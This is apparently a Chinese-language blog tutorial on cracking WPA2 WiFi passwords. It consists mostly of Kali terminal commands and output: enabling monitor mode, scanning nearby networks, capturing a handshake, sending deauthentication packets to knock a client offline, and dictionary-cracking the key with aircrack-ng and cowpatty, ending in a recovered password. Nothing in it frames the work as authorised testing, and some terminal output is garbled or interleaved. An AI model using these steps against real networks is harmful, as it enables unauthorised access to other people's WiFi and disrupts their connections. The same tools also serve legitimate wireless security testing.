

Wifi 密码破解

开混杂模式:

```
root@kali: ~
File Edit View Search Terminal Help

RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10 bytes 2364 (2.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

PID Name
402 NetworkManager
953 wpa_supplicant
11339 dhclient

PHY Interface Driver Chipset
phy3 wlan0 rt2800usb Ralink Technology, Corp. RT2870/RT3070

(mac80211 monitor mode vif enabled for [phy3]wlan0 on [phy3]wlan0)
(mac80211 station mode vif disabled for [phy3]wlan0)

root@kali:~# airmon-ng start wlan0
```

开始监听:

```
root@kali:~# airodump-ng wlan0mon

CH 2 ][ Elapsed: 12 s ][ 2018-10-04 21:03

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
30:B4:9E:69:AF:99 -34 11 0 0 1 135 WPA2 CCMP PSK ROPga
50:04:B8:56:1C:FC -61 4 1 0 6 65 WPA2 CCMP PSK LGDX2
6C:5C:14:4F:36:CE -66 2 0 0 11 65 WPA CCMP PSK 1234
7A:36:CC:1B:8C:CF -68 6 0 0 2 65 WPA2 CCMP PSK OPP0
F0:43:47:80:2E:5B -71 7 1 0 7 65 WPA2 CCMP PSK 911

BSSID STATION PWR Rate Lost Frames Probe
```

抓包:

```
File Edit View Search Terminal Help
root@kali:~# airodump-ng -c 7 --bssid 74:A3:4A:A8:48:DD -w hack wlan0mon
ioctl(SIOCGIFINDEX) failed: No such device
```

参数:

- c 指定通道
- bssid 指定网卡地址
- w 指定保存文件 (save as)

抓包成功:

```
CH 7 ][ Elapsed: 30 s ][ 2018-10-03 22:37 ][ fixed channel wlan0mon: 9
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
74:A3:4A:A8:48:DD -56 21 wireless 66 rd(s): wlan0 7 65 WPA2 CCMP PSK admin
CH 4 ][ Elapsed: 3 mins ][ 2018-10-03 22:37
BSSID STATION PWR Rate Lost Frames Probe
74:A3:4A:A8:48:DD 34:41:5D:4F:36:52 -42 0 - 0e 0 7
50:2B:73:D5:50:7D -24 128 1 0 10 180 WPA2 CCMP PSK ROPgadg
74:A3:4A:A8:48:DD -56 178 20 0 7 65 WPA2 CCMP PSK admin
```

查看文件：

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	Zimi_a8:48:dd	Broadcast	802.11	212	Beacon frame, SN=3864, FN=0, Flags=....., BI=100, SSID=admin
2	0.514626	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3897, FN=0, Flags=.....F.
3	0.523842	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3898, FN=0, Flags=.....F.
4	0.534084	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3899, FN=0, Flags=.....F.
5	0.543298	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3900, FN=0, Flags=.....F.
6	0.552514	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3901, FN=0, Flags=.....F.
7	0.561730	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3902, FN=0, Flags=.....F.
8	0.570946	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3903, FN=0, Flags=.....F.
9	0.580162	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3904, FN=0, Flags=.....F.
10	0.589370	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3905, FN=0, Flags=.....F.
11	0.598594	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3906, FN=0, Flags=.....F.
12	0.617026	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3908, FN=0, Flags=.....F.
13	0.626242	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3909, FN=0, Flags=.....F.
14	0.635458	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3910, FN=0, Flags=.....F.
15	0.644672	Zimi_a8:48:dd	Broadcast	802.11	24	Null function (No data), SN=3911, FN=0, Flags=.....F.

Frame 1: 212 bytes on wire (1696 bits), 212 bytes captured (1696 bits)

IEEE 802.11 Beacon frame, Flags:

IEEE 802.11 wireless LAN

0000 80 00 00 00 ff ff ff ff ff ff 74 a3 4a a8 48 ddt.J.H.
0010 74 a3 4a a8 48 dd 80 f1 42 b1 5c ca 00 00 00 00 t.J.H. B \.....
0020 64 00 31 04 00 05 61 64 6d 69 6e 01 08 82 84 8b d.1.....ad min.....
0030 96 0c 12 18 24 03 01 07 05 05 00 01 00 00 00 07\$......
0040 06 43 4e 20 01 0d 14 2a 01 00 2d 1a 2c 11 03 ff .CN.....*.....
0050 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 000.....
0060 00 00 00 00 00 00 30 18 01 00 00 0f ac 02 02 000.....
0070 00 0f ac 02 00 0f ac 04 01 00 00 0f ac 02 00 000.....
0080 32 04 30 48 60 6c 3d 16 07 08 04 00 00 00 00 00 2.0H'l=.....
0090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dd 1a
00a0 00 50 f2 01 01 00 00 50 f2 02 02 00 00 50 f2 02 .P.....P.....P.....
00b0 00 50 f2 04 01 00 00 50 f2 02 dd 18 00 50 f2 02 .P.....P.....P.....
00c0 01 01 00 00 03 a4 00 00 27 a4 00 00 42 43 5e 00BCA.....
00d0 62 32 2f 00b2/.....

抓不到包可以让对方先下线：

出现这种情况说明现在你所抓到的数据包里面没有认证的握手包

```
root@kali:~# aircrack-ng -a2 -b 74:A3:4A:A8:48:DD -w password hack-01.cap PSK
Opening hack-01.cap: 54 1110 635 0 7 65 WPA2 CCMP PSK
No valid WPA handshakes found.. 150 0 0 1 130 OPN
1E:CD:E5:03:41:96 -70 527 3 0 2 65 WPA CCMP PSK

Quitting aircrack-ng... STATION PWR Rate Lost Frames Pr
```

命令：aireplay-ng -O -10 -a MAC_ADDR -c (station)MAC_ADDR wlan0mon

```
root@kali:~# aireplay-ng -O 10 -a 74:A3:4A:A8:48:DD -c 34:41:5D:4F:36:52 wlan0mon
```

这个命令使用的时候可能会报一个错误：

```

root@kali:~# aireplay-ng -0 10 -a 74:A3:4A:A8:48:DD -c 34:41:5D:4F:36:52 wlan0mon
23:02:15 Waiting for beacon frame (BSSID: 74:A3:4A:A8:48:DD) on channel 10
23:02:26 No such BSSID available
root@kali:~# aireplay-ng -0 10 -a 74:A3:4A:A8:48:DD -c 34:41:5D:4F:36:52 wlan0mon
23:03:37 Waiting for beacon frame (BSSID: 74:A3:4A:A8:48:DD) on channel 5
23:03:39 wlan0mon is on channel 5, but the AP uses channel 7: 34:41:5D:4F:36:52 wlan0mon
root@kali:~# aireplay-ng -0 10 -a 74:A3:4A:A8:48:DD -c 34:41:5D:4F:36:52 wlan0mon
23:03:43 Waiting for beacon frame (BSSID: 74:A3:4A:A8:48:DD) on channel 3
^[[A 时候可能会报一个错误:
23:03:46 wlan0mon is on channel 3, but the AP uses channel 7
root@kali:~# aireplay-ng -0 10 -a 74:A3:4A:A8:48:DD -c 34:41:5D:4F:36:52 wlan0mon
23:03:46 Waiting for beacon frame (BSSID: 74:A3:4A:A8:48:DD) on channel 7
23:03:46 Sending 64 directed DeAuth (code 7). STMAC: [34:41:5D:4F:36:52] [ 0| 0 ACKs]
23:03:47 Sending 64 directed DeAuth (code 7). STMAC: [34:41:5D:4F:36:52] [19|25 ACKs]
23:03:47 Sending 64 directed DeAuth (code 7). STMAC: [34:41:5D:4F:36:52] [ 0| 0 ACKs]
23:03:48 Sending 64 directed DeAuth (code 7). STMAC: [34:41:5D:4F:36:52] [ 0| 0 ACKs]
23:03:49 Sending 64 directed DeAuth (code 7). STMAC: [34:41:5D:4F:36:52] [ 0| 0 ACKs]
23:03:49 Sending 64 directed DeAuth (code 7). STMAC: [34:41:5D:4F:36:52] [24|23 ACKs]
23:03:50 Sending 64 directed DeAuth (code 7). STMAC: [34:41:5D:4F:36:52] [31|36 ACKs]
23:03:50 Sending 64 directed DeAuth (code 7). STMAC: [34:41:5D:4F:36:52] [ 0| 0 ACKs]
23:03:51 Sending 64 directed DeAuth (code 7). STMAC: [34:41:5D:4F:36:52] [10| 9 ACKs]
23:03:51 Sending 64 directed DeAuth (code 7). STMAC: [34:41:5D:4F:36:52] [ 0| 0 ACKs]
root@kali:~# airodump-ng -c 7 --bssid 74:A3:4A:A8:48:DD -w hack wlan0mon

```

前几次都没有成功，通道不一样，解决办法也在上图中，无意间发现的，

破解:

```

EAPOL HMAC : C3 DE 9D 5D 1A CD 22 EA 73 E0 38 C5 E8 5C 86 75
root@kali:~# aircrack-ng -a2 -b 74:A3:4A:A8:48:DD -w password hack-02.cap

```

参数:

-a2 (-a bssid : set Access Point MAC address) 还不知道具体含义

-b 指定 BSSID

-w password 指定字典 (自己准备一个比较好有用的字典就好)

hack-02.cap 指定数据包

成功破解效果:

```

EAPOL HMAC : C3 DE 9D 5D 1A CD 22 EA 73 E0 38 C5 E8 5C 86 75
[00:00:00] 1560/9143 keys tested (9850.16 k/s)
Time left: 0 seconds 17.06%
KEY FOUND! [ qwerasdf ]
Master Key : FF BE 2E FC E0 B3 8C 5A 67 56 D7 98 EA 4E 55 32
              43 66 BA C1 30 1B DC A6 D7 E9 8F 29 45 B2 85 93
Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : C3 DE 9D 5D 1A CD 22 EA 73 E0 38 C5 E8 5C 86 75

```

同样的数据包使用 cowpatty 破解:

可以先使用 wireshark 查看数据包，设置过滤器: eapol

列出获取到握手包如下：

eapol						
No.	Time	Source	Destination	Protocol	Length	Info
5084	85.113718	Zimi_a8:48:dd	IntelCor_4f:36:52	EAPOL	133	Key (Message 1 of 4)
5090	85.117302	IntelCor_4f:36:52	Zimi_a8:48:dd	EAPOL	157	Key (Message 2 of 4)
5092	85.121400	Zimi_a8:48:dd	IntelCor_4f:36:52	EAPOL	213	Key (Message 3 of 4)
5094	85.123448	IntelCor_4f:36:52	Zimi_a8:48:dd	EAPOL	133	Key (Message 4 of 4)

Frame 5084: 133 bytes on wire (1064 bits), 133 bytes captured (1064 bits)

IEEE 802.11 QoS Data, Flags:F.

Type/Subtype: QoS Data (0x0028)

Frame Control Field: 0x8802

.000 0001 0100 0000 = Duration: 320 microseconds

Receiver address: IntelCor_4f:36:52 (34:41:5d:4f:36:52)

Transmitter address: Zimi_a8:48:dd (74:a3:4a:a8:48:dd)

Destination address: IntelCor_4f:36:52 (34:41:5d:4f:36:52)

Source address: Zimi_a8:48:dd (74:a3:4a:a8:48:dd)

BSS Id: Zimi_a8:48:dd (74:a3:4a:a8:48:dd)

STA address: IntelCor_4f:36:52 (34:41:5d:4f:36:52)

.... 0000 = Fragment number: 0

0000 1001 0111 = Sequence number: 151

Qos Control: 0x0007

Logical-Link Control

802.1X Authentication

0000 88 02 40 01 34 41 5d 4f 36 52 74 a3 4a a8 48 dd ..@.4A]O 6Rt.J.H.
0010 74 a3 4a a8 48 dd 70 09 07 00 aa aa 03 00 00 00 t.J.H.p
0020 88 8e 01 03 00 5f 02 00 8a 00 10 00 00 00 00 00
0030 00 00 01 ff 84 83 32 44 2c d2 10 58 ee fb f3 98 ...2D ,..X....
0040 0a 2d df 44 93 c4 79 7e 47 c9 ff 94 f4 3b 4b 80 --D..y~ G....;K.
0050 46 04 b6 00 00 00 00 00 00 00 00 00 00 00 00 F.....
0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0080 00 00 00 00 00 00 00 00 00 00 00 00 00 00

如果能成功，能得到密码，我这个情况不知道为什么 aircrack-ng 可以破解，但是这个工具没破解出来，这次爆破是没有监听网卡的状态

```
root@kali:~# cowpatty -f password -r wpa1.cap -s 74:A3:4A:A8:48:DD -v
cowpatty 4.6 - WPA-PSK dictionary attack. <jwright@hasborg.com>

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.
Invalid passphrase length: 888888 (6).
Invalid passphrase length: 123.qwe (7).
Invalid passphrase length: qwe.123 (7).
Invalid passphrase length: 123.idc (7).
Invalid passphrase length: 321321 (6).
Invalid passphrase length: guanli (6).
Invalid passphrase length: 123.123 (7).

Invalid passphrase length: woaiwo (6).
Invalid passphrase length: (0).
Unable to identify the PSK from the dictionary file. Try expanding your
passphrase list, and double-check the SSID. Sorry it didn't work out.
9142 passphrases tested in 18.87 seconds: 484.53 passphrases/second
root@kali:~#
```